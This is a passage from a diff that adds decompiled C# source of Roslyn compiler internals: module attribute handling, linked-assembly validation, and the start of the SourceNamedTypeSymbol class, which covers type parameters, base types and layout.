(AnyReferencedAssembliesAreLinked) + { + bindingDiagnosticBag = BindingDiagnosticBag.GetInstance(); + ValidateLinkedAssemblies(bindingDiagnosticBag, cancellationToken); + } + if (_state.NotePartComplete(CompletionPart.StartBaseType)) + { + if (bindingDiagnosticBag != null) + { + _assemblySymbol.AddDeclarationDiagnostics(bindingDiagnosticBag); + } + _state.NotePartComplete(CompletionPart.FinishBaseType); + } + ((BindingDiagnosticBag)(object)bindingDiagnosticBag)?.Free(); + break; + } + case CompletionPart.FinishBaseType: + _state.SpinWaitComplete(CompletionPart.FinishBaseType, cancellationToken); + break; + case CompletionPart.MembersCompleted: + GlobalNamespace.ForceComplete(locationOpt, cancellationToken); + if (GlobalNamespace.HasComplete(CompletionPart.MembersCompleted)) + { + _state.NotePartComplete(CompletionPart.MembersCompleted); + break; + } + return; + case CompletionPart.None: + return; + default: + _state.NotePartComplete(nextIncompletePart); + break; + } + _state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + + private void ValidateLinkedAssemblies(BindingDiagnosticBag diagnostics, CancellationToken cancellationToken) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + //IL_0131: Unknown result type (might be due to invalid IL or missing references) + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = GetReferencedAssemblySymbols().GetEnumerator(); + string text = default(string); + while (enumerator.MoveNext()) + { + AssemblySymbol current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + if (current.IsMissing || !current.IsLinked) + { + continue; + } + bool flag = false; + bool flag2 = false; + ImmutableArray.Enumerator enumerator2 = current.GetAttributes().GetEnumerator(); + while (enumerator2.MoveNext()) + { + CSharpAttributeData current2 = enumerator2.Current; + if (current2.IsTargetAttribute(current, AttributeDescription.GuidAttribute)) + { + if (CommonAttributeDataExtensions.TryGetGuidAttributeValue((AttributeData)(object)current2, ref text)) + { + flag = true; + } + } + else if (current2.IsTargetAttribute(current, AttributeDescription.ImportedFromTypeLibAttribute)) + { + if (((AttributeData)current2).CommonConstructorArguments.Length == 1) + { + flag2 = true; + } + } + else if (current2.IsTargetAttribute(current, AttributeDescription.PrimaryInteropAssemblyAttribute) && ((AttributeData)current2).CommonConstructorArguments.Length == 2) + { + flag2 = true; + } + if (flag && flag2) + { + break; + } + } + AttributeDescription val; + if (!flag) + { + Location singleton = NoLocation.Singleton; + object[] obj = new object[2] { current, null }; + val = AttributeDescription.GuidAttribute; + obj[1] = ((AttributeDescription)(ref val)).FullName; + diagnostics.Add(ErrorCode.ERR_NoPIAAssemblyMissingAttribute, singleton, obj); + } + if (!flag2) + { + Location singleton2 = NoLocation.Singleton; + object[] obj2 = new object[3] { current, null, null }; + val = AttributeDescription.ImportedFromTypeLibAttribute; + obj2[1] = ((AttributeDescription)(ref val)).FullName; + val = AttributeDescription.PrimaryInteropAssemblyAttribute; + obj2[2] = ((AttributeDescription)(ref val)).FullName; + diagnostics.Add(ErrorCode.ERR_NoPIAAssemblyMissingAttributes, singleton2, obj2); + } + } + } + + private CustomAttributesBag GetAttributesBag() + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (_lazyCustomAttributesBag == null || !_lazyCustomAttributesBag.IsSealed) + { + ImmutableArray> attributeDeclarations = ((SourceAssemblySymbol)ContainingAssembly).GetAttributeDeclarations(); + if (LoadAndValidateAttributes(OneOrMany.Create>(attributeDeclarations), ref _lazyCustomAttributesBag)) + { + _state.NotePartComplete(CompletionPart.Attributes); + } + } + return _lazyCustomAttributesBag; + } + + public sealed override ImmutableArray GetAttributes() + { + return GetAttributesBag().Attributes; + } + + private ModuleWellKnownAttributeData GetDecodedWellKnownAttributeData() + { + CustomAttributesBag val = _lazyCustomAttributesBag; + if (val == null || !val.IsDecodedWellKnownAttributeDataComputed) + { + val = GetAttributesBag(); + } + return (ModuleWellKnownAttributeData)(object)val.DecodedWellKnownAttributeData; + } + + protected override void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + CSharpAttributeData attribute = arguments.Attribute; + if (attribute.IsTargetAttribute(this, AttributeDescription.DefaultCharSetAttribute)) + { + CharSet constructorArgument = ((AttributeData)attribute).GetConstructorArgument(0, (SpecialType)2); + if (!CommonModuleWellKnownAttributeData.IsValidCharSet(constructorArgument)) + { + CSharpSyntaxNode attributeArgumentSyntax = ((AttributeData)(object)attribute).GetAttributeArgumentSyntax(0, arguments.AttributeSyntaxOpt); + ((BindingDiagnosticBag)(object)arguments.Diagnostics).Add(ErrorCode.ERR_InvalidAttributeArgument, ((SyntaxNode)attributeArgumentSyntax).Location, arguments.AttributeSyntaxOpt.GetErrorDisplayName()); + } + else + { + ((CommonModuleWellKnownAttributeData)arguments.GetOrCreateData()).DefaultCharacterSet = constructorArgument; + } + } + else if (!ReportExplicitUseOfReservedAttributes(in arguments, ReservedAttributes.NullableContextAttribute | ReservedAttributes.NullablePublicOnlyAttribute | ReservedAttributes.RefSafetyRulesAttribute)) + { + if (attribute.IsTargetAttribute(this, AttributeDescription.SkipLocalsInitAttribute)) + { + CSharpAttributeData.DecodeSkipLocalsInitAttribute(DeclaringCompilation, ref arguments); + } + else if (attribute.IsTargetAttribute(this, AttributeDescription.ExperimentalAttribute)) + { + ((CommonModuleWellKnownAttributeData)arguments.GetOrCreateData()).ExperimentalAttributeData = ((AttributeData)attribute).DecodeExperimentalAttribute(); + } + } + } + + internal bool RequiresRefSafetyRulesAttribute() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + if ((int)_lazyRequiresRefSafetyRulesAttribute == 0) + { + bool flag = UseUpdatedEscapeRules && !isFeatureDisabled(_assemblySymbol.DeclaringCompilation) && namespaceIncludesTypeDeclarations(GlobalNamespace); + _lazyRequiresRefSafetyRulesAttribute = ThreeStateHelpers.ToThreeState(flag); + } + return ThreeStateHelpers.Value(_lazyRequiresRefSafetyRulesAttribute); + static bool isFeatureDisabled(CSharpCompilation compilation) + { + SyntaxTree? obj = compilation.SyntaxTrees.FirstOrDefault(); + CSharpParseOptions obj2 = (CSharpParseOptions)(object)((obj != null) ? obj.Options : null); + if (obj2 == null) + { + return false; + } + return ((ParseOptions)obj2).Features?.ContainsKey("noRefSafetyRulesAttribute") == true; + } + static bool namespaceIncludesTypeDeclarations(NamespaceSymbol ns) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + ImmutableArray.Enumerator enumerator = ns.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + SymbolKind kind = current.Kind; + if ((int)kind == 11) + { + return true; + } + if ((int)kind == 12 && namespaceIncludesTypeDeclarations((NamespaceSymbol)current)) + { + return true; + } + } + return false; + } + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = _assemblySymbol.DeclaringCompilation; + if (declaringCompilation.Options.AllowUnsafe && !(declaringCompilation.GetWellKnownType((WellKnownType)236) is MissingMetadataTypeSymbol)) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)134)); + } + if (RequiresRefSafetyRulesAttribute()) + { + ImmutableArray arguments = ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)declaringCompilation.GetSpecialType((SpecialType)13), (TypedConstantKind)1, (object)11)); + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeRefSafetyRulesAttribute(arguments)); + } + if (moduleBuilder.ShouldEmitNullablePublicOnlyAttribute()) + { + ImmutableArray arguments2 = ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)declaringCompilation.GetSpecialType((SpecialType)7), (TypedConstantKind)1, (object)_assemblySymbol.InternalsAreVisible)); + Symbol.AddSynthesizedAttribute(ref attributes, moduleBuilder.SynthesizeNullablePublicOnlyAttribute(arguments2)); + } + } + + public override ModuleMetadata? GetMetadata() + { + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceNamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceNamedTypeSymbol.cs new file mode 100644 index 0000000..0179a49 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SourceNamedTypeSymbol.cs @@ -0,0 +1,2506 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.Linq; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SourceNamedTypeSymbol : SourceMemberContainerTypeSymbol, IAttributeTargetSymbol +{ + private readonly TypeParameterInfo _typeParameterInfo; + + private CustomAttributesBag _lazyCustomAttributesBag; + + private string _lazyDocComment; + + private string _lazyExpandedDocComment; + + private ThreeState _lazyIsExplicitDefinitionOfNoPiaLocalType; + + private Tuple> _lazyDeclaredBases; + + private NamedTypeSymbol _lazyBaseType = ErrorTypeSymbol.UnknownResultType; + + private ImmutableArray _lazyInterfaces; + + private SynthesizedEnumValueFieldSymbol _lazyEnumValueField; + + private NamedTypeSymbol _lazyEnumUnderlyingType = ErrorTypeSymbol.UnknownResultType; + + internal sealed override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => GetTypeParametersAsTypeArguments(); + + public override ImmutableArray TypeParameters + { + get + { + if (_typeParameterInfo.LazyTypeParameters.IsDefault) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + if (ImmutableInterlocked.InterlockedInitialize(ref _typeParameterInfo.LazyTypeParameters, MakeTypeParameters(instance))) + { + AddDeclarationDiagnostics(instance); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _typeParameterInfo.LazyTypeParameters; + } + } + + IAttributeTargetSymbol IAttributeTargetSymbol.AttributesOwner => this; + + AttributeLocation IAttributeTargetSymbol.DefaultAttributeLocation => AttributeLocation.Type; + + AttributeLocation IAttributeTargetSymbol.AllowedAttributeLocations + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Expected I4, but got Unknown + TypeKind typeKind = TypeKind; + switch (typeKind - 2) + { + case 1: + return AttributeLocation.Type | AttributeLocation.Return; + case 3: + case 5: + return AttributeLocation.Type; + case 0: + case 8: + return (AttributeLocation)(4 | (base.HasPrimaryConstructor ? 8 : 0)); + default: + return AttributeLocation.None; + } + } + } + + internal override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + CustomAttributesBag lazyCustomAttributesBag = _lazyCustomAttributesBag; + if (lazyCustomAttributesBag != null && lazyCustomAttributesBag.IsEarlyDecodedWellKnownAttributeDataComputed) + { + TypeEarlyWellKnownAttributeData typeEarlyWellKnownAttributeData = (TypeEarlyWellKnownAttributeData)(object)lazyCustomAttributesBag.EarlyDecodedWellKnownAttributeData; + if (typeEarlyWellKnownAttributeData == null) + { + return null; + } + return ((CommonTypeEarlyWellKnownAttributeData)typeEarlyWellKnownAttributeData).ObsoleteAttributeData; + } + ImmutableArray.Enumerator enumerator = declaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.HasAnyAttributes) + { + return ObsoleteAttributeData.Uninitialized; + } + } + return null; + } + } + + internal override bool IsExplicitDefinitionOfNoPiaLocalType + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if ((int)_lazyIsExplicitDefinitionOfNoPiaLocalType == 0) + { + CheckPresenceOfTypeIdentifierAttribute(); + if ((int)_lazyIsExplicitDefinitionOfNoPiaLocalType == 0) + { + _lazyIsExplicitDefinitionOfNoPiaLocalType = (ThreeState)1; + } + } + return (int)_lazyIsExplicitDefinitionOfNoPiaLocalType == 2; + } + } + + internal override bool IsComImport + { + get + { + TypeEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData != null) + { + return ((CommonTypeEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).HasComImportAttribute; + } + return false; + } + } + + internal override NamedTypeSymbol ComImportCoClass => GetDecodedWellKnownAttributeData()?.ComImportCoClass; + + internal override bool HasSpecialName + { + get + { + TypeWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).HasSpecialNameAttribute; + } + return false; + } + } + + internal override bool HasCodeAnalysisEmbeddedAttribute + { + get + { + TypeEarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = GetEarlyDecodedWellKnownAttributeData(); + if (earlyDecodedWellKnownAttributeData != null) + { + return ((CommonTypeEarlyWellKnownAttributeData)earlyDecodedWellKnownAttributeData).HasCodeAnalysisEmbeddedAttribute; + } + return false; + } + } + + internal sealed override bool IsInterpolatedStringHandlerType => GetEarlyDecodedWellKnownAttributeData()?.HasInterpolatedStringHandlerAttribute ?? false; + + internal sealed override bool ShouldAddWinRTMembers => false; + + internal sealed override bool IsWindowsRuntimeImport + { + get + { + TypeWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).HasWindowsRuntimeImportAttribute; + } + return false; + } + } + + public sealed override bool IsSerializable + { + get + { + TypeWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).HasSerializableAttribute; + } + return false; + } + } + + public sealed override bool AreLocalsZeroed + { + get + { + TypeWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null || !decodedWellKnownAttributeData.HasSkipLocalsInitAttribute) + { + return ContainingType?.AreLocalsZeroed ?? ContainingModule.AreLocalsZeroed; + } + return false; + } + } + + internal override bool IsDirectlyExcludedFromCodeCoverage + { + get + { + TypeWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null) + { + return false; + } + return ((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).HasExcludeFromCodeCoverageAttribute; + } + } + + internal sealed override TypeLayout Layout + { + get + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + TypeWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null && ((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).HasStructLayoutAttribute) + { + return ((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).Layout; + } + if ((int)TypeKind == 10) + { + return new TypeLayout(LayoutKind.Sequential, (!HasInstanceFields()) ? 1 : 0, (byte)0); + } + return default(TypeLayout); + } + } + + internal bool HasStructLayoutAttribute + { + get + { + TypeWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).HasStructLayoutAttribute; + } + return false; + } + } + + internal override CharSet MarshallingCharSet + { + get + { + TypeWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData == null || !((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).HasStructLayoutAttribute) + { + return base.DefaultMarshallingCharSet; + } + return ((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).MarshallingCharSet; + } + } + + internal sealed override bool HasDeclarativeSecurity + { + get + { + TypeWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).HasDeclarativeSecurity; + } + return false; + } + } + + internal bool HasSecurityCriticalAttributes + { + get + { + TypeWellKnownAttributeData decodedWellKnownAttributeData = GetDecodedWellKnownAttributeData(); + if (decodedWellKnownAttributeData != null) + { + return ((CommonTypeWellKnownAttributeData)decodedWellKnownAttributeData).HasSecurityCriticalAttributes; + } + return false; + } + } + + internal override NamedTypeSymbol NativeIntegerUnderlyingType => null; + + internal bool IsSimpleProgram => declaration.Declarations.Any((SingleTypeDeclaration d) => d.IsSimpleProgram); + + internal sealed override NamedTypeSymbol BaseTypeNoUseSiteDiagnostics + { + get + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Invalid comparison between Unknown and I4 + if ((object)_lazyBaseType == ErrorTypeSymbol.UnknownResultType) + { + bool flag = (object)ContainingType != null; + if (flag) + { + TypeKind typeKind = TypeKind; + bool flag2 = (((int)typeKind == 3 || (int)typeKind == 5 || (int)typeKind == 12) ? true : false); + flag = !flag2; + } + if (flag) + { + _ = ContainingType.BaseTypeNoUseSiteDiagnostics; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + NamedTypeSymbol value = MakeAcyclicBaseType(instance); + if ((object)Interlocked.CompareExchange(ref _lazyBaseType, value, ErrorTypeSymbol.UnknownResultType) == ErrorTypeSymbol.UnknownResultType) + { + AddDeclarationDiagnostics(instance); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _lazyBaseType; + } + } + + public override NamedTypeSymbol EnumUnderlyingType + { + get + { + if ((object)_lazyEnumUnderlyingType == ErrorTypeSymbol.UnknownResultType) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + if ((object)Interlocked.CompareExchange(ref _lazyEnumUnderlyingType, GetEnumUnderlyingType(instance), ErrorTypeSymbol.UnknownResultType) == ErrorTypeSymbol.UnknownResultType) + { + AddDeclarationDiagnostics(instance); + state.NotePartComplete(CompletionPart.EnumUnderlyingType); + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + return _lazyEnumUnderlyingType; + } + } + + internal FieldSymbol EnumValueField + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)TypeKind != 5) + { + return null; + } + if ((object)_lazyEnumValueField == null) + { + Interlocked.CompareExchange(ref _lazyEnumValueField, new SynthesizedEnumValueFieldSymbol(this), null); + } + return _lazyEnumValueField; + } + } + + protected override Location GetCorrespondingBaseListLocation(NamedTypeSymbol @base) + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + Location val = null; + ImmutableArray.Enumerator enumerator = base.SyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + BaseListSyntax baseList = ((TypeDeclarationSyntax)(object)enumerator.Current.GetSyntax(default(CancellationToken))).BaseList; + if (baseList == null) + { + continue; + } + SeparatedSyntaxList types = baseList.Types; + Binder binder = DeclaringCompilation.GetBinder(baseList); + binder = binder.WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags.SuppressConstraintChecks, this); + if (val == null) + { + val = types[0].Type.GetLocation(); + } + Enumerator enumerator2 = types.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeSyntax type = enumerator2.Current.Type; + if (TypeSymbol.Equals(binder.BindType(type, BindingDiagnosticBag.Discarded).Type, @base, (TypeCompareKind)0)) + { + return type.GetLocation(); + } + } + } + return val; + } + + internal SourceNamedTypeSymbol(NamespaceOrTypeSymbol containingSymbol, MergedTypeDeclaration declaration, BindingDiagnosticBag diagnostics, TupleExtraData tupleData = null) + : base(containingSymbol, declaration, diagnostics, tupleData) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + DeclarationKind kind = declaration.Kind; + if (kind - 1 > DeclarationKind.Enum) + { + _ = kind - 9; + _ = 1; + } + if ((int)containingSymbol.Kind == 11) + { + _lazyIsExplicitDefinitionOfNoPiaLocalType = (ThreeState)1; + } + _typeParameterInfo = ((declaration.Arity == 0) ? TypeParameterInfo.Empty : new TypeParameterInfo()); + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + return new SourceNamedTypeSymbol(ContainingType, declaration, BindingDiagnosticBag.Discarded, newData); + } + + private static SyntaxToken GetName(CSharpSyntaxNode node) + { + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.EnumDeclaration: + return ((EnumDeclarationSyntax)node).Identifier; + case SyntaxKind.DelegateDeclaration: + return ((DelegateDeclarationSyntax)node).Identifier; + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.InterfaceDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + return ((BaseTypeDeclarationSyntax)node).Identifier; + default: + return default(SyntaxToken); + } + } + + public override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return SourceDocumentationCommentUtils.GetAndCacheDocumentationComment(this, expandIncludes, ref expandIncludes ? ref _lazyExpandedDocComment : ref _lazyDocComment); + } + + private ImmutableArray MakeTypeParameters(BindingDiagnosticBag diagnostics) + { + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + //IL_0139: Unknown result type (might be due to invalid IL or missing references) + //IL_013e: Unknown result type (might be due to invalid IL or missing references) + //IL_0142: Unknown result type (might be due to invalid IL or missing references) + //IL_0147: Unknown result type (might be due to invalid IL or missing references) + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + //IL_01ad: Unknown result type (might be due to invalid IL or missing references) + //IL_01b2: Unknown result type (might be due to invalid IL or missing references) + //IL_01b6: Unknown result type (might be due to invalid IL or missing references) + //IL_01bd: Expected O, but got Unknown + //IL_01c5: Unknown result type (might be due to invalid IL or missing references) + //IL_01ca: Unknown result type (might be due to invalid IL or missing references) + //IL_01f7: Unknown result type (might be due to invalid IL or missing references) + //IL_01fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0212: Unknown result type (might be due to invalid IL or missing references) + //IL_0217: Unknown result type (might be due to invalid IL or missing references) + //IL_0199: Unknown result type (might be due to invalid IL or missing references) + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + //IL_017b: Unknown result type (might be due to invalid IL or missing references) + //IL_02c3: Unknown result type (might be due to invalid IL or missing references) + //IL_02c8: Unknown result type (might be due to invalid IL or missing references) + //IL_030f: Unknown result type (might be due to invalid IL or missing references) + //IL_0314: Unknown result type (might be due to invalid IL or missing references) + //IL_02eb: Unknown result type (might be due to invalid IL or missing references) + //IL_02f0: Unknown result type (might be due to invalid IL or missing references) + //IL_0337: Unknown result type (might be due to invalid IL or missing references) + //IL_033c: Unknown result type (might be due to invalid IL or missing references) + if (declaration.Arity == 0) + { + return ImmutableArray.Empty; + } + bool flag = false; + string[] array = new string[declaration.Arity]; + string[] array2 = new string[declaration.Arity]; + List> list = new List>(); + ImmutableArray.Enumerator enumerator = base.SyntaxReferences.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxReference current = enumerator.Current; + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)current.GetSyntax(default(CancellationToken)); + SyntaxTree syntaxTree = current.SyntaxTree; + SyntaxKind syntaxKind = cSharpSyntaxNode.Kind(); + TypeParameterListSyntax typeParameterList; + switch (syntaxKind) + { + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.InterfaceDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + typeParameterList = ((TypeDeclarationSyntax)cSharpSyntaxNode).TypeParameterList; + break; + case SyntaxKind.DelegateDeclaration: + typeParameterList = ((DelegateDeclarationSyntax)cSharpSyntaxNode).TypeParameterList; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)cSharpSyntaxNode.Kind()); + } + MessageID.IDS_FeatureGenerics.CheckFeatureAvailability(diagnostics, typeParameterList.LessThanToken); + bool flag2 = syntaxKind == SyntaxKind.InterfaceDeclaration || syntaxKind == SyntaxKind.DelegateDeclaration; + List list2 = new List(); + list.Add(list2); + int num = 0; + Enumerator enumerator2 = typeParameterList.Parameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeParameterSyntax current2 = enumerator2.Current; + SyntaxToken val; + if (current2.VarianceKeyword.Kind() != SyntaxKind.None) + { + if (!flag2) + { + BindingDiagnosticBag bindingDiagnosticBag = diagnostics; + val = current2.VarianceKeyword; + bindingDiagnosticBag.Add(ErrorCode.ERR_IllegalVarianceSyntax, ((SyntaxToken)(ref val)).GetLocation()); + } + else + { + MessageID.IDS_FeatureTypeVariance.CheckFeatureAvailability(diagnostics, current2.VarianceKeyword); + } + } + string text = array[num]; + val = current2.Identifier; + SourceLocation location = new SourceLocation(ref val); + string text2 = array2[num]; + val = current2.Identifier; + SourceMemberContainerTypeSymbol.ReportReservedTypeName(((SyntaxToken)(ref val)).Text, DeclaringCompilation, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, (Location)(object)location); + if (text == null) + { + int num2 = num; + val = current2.Identifier; + text = (array[num2] = ((SyntaxToken)(ref val)).ValueText); + int num3 = num; + val = current2.VarianceKeyword; + text2 = (array2[num3] = ((SyntaxToken)(ref val)).ValueText); + int num4 = 0; + while (true) + { + if (num4 < num) + { + if (text == array[num4]) + { + flag = true; + diagnostics.Add(ErrorCode.ERR_DuplicateTypeParameter, (Location)(object)location, text); + break; + } + num4++; + continue; + } + if ((object)ContainingType != null) + { + TypeParameterSymbol typeParameterSymbol = ContainingType.FindEnclosingTypeParameter(text); + if ((object)typeParameterSymbol != null) + { + diagnostics.Add(ErrorCode.WRN_TypeParameterSameAsOuterTypeParameter, (Location)(object)location, text, typeParameterSymbol.ContainingType); + } + } + break; + } + } + else if (!flag) + { + string text3 = text2; + val = current2.VarianceKeyword; + if (text3 != ((SyntaxToken)(ref val)).ValueText) + { + flag = true; + diagnostics.Add(ErrorCode.ERR_PartialWrongTypeParamsVariance, (Location)(object)declaration.NameLocations.First(), this); + } + else + { + string text4 = text; + val = current2.Identifier; + if (text4 != ((SyntaxToken)(ref val)).ValueText) + { + flag = true; + diagnostics.Add(ErrorCode.ERR_PartialWrongTypeParams, (Location)(object)declaration.NameLocations.First(), this); + } + } + } + list2.Add(new TypeParameterBuilder(syntaxTree.GetReference((SyntaxNode)(object)current2), this, (Location)(object)location)); + num++; + } + } + return ImmutableArrayExtensions.AsImmutable(EnumerableExtensions.Transpose((IEnumerable>)list).Select((IList builders, int i) => builders[0].MakeSymbol(i, builders, diagnostics))); + } + + internal ImmutableArray GetTypeParameterConstraintTypes(int ordinal) + { + ImmutableArray> typeParameterConstraintTypes = GetTypeParameterConstraintTypes(); + if (typeParameterConstraintTypes.Length <= 0) + { + return ImmutableArray.Empty; + } + return typeParameterConstraintTypes[ordinal]; + } + + private 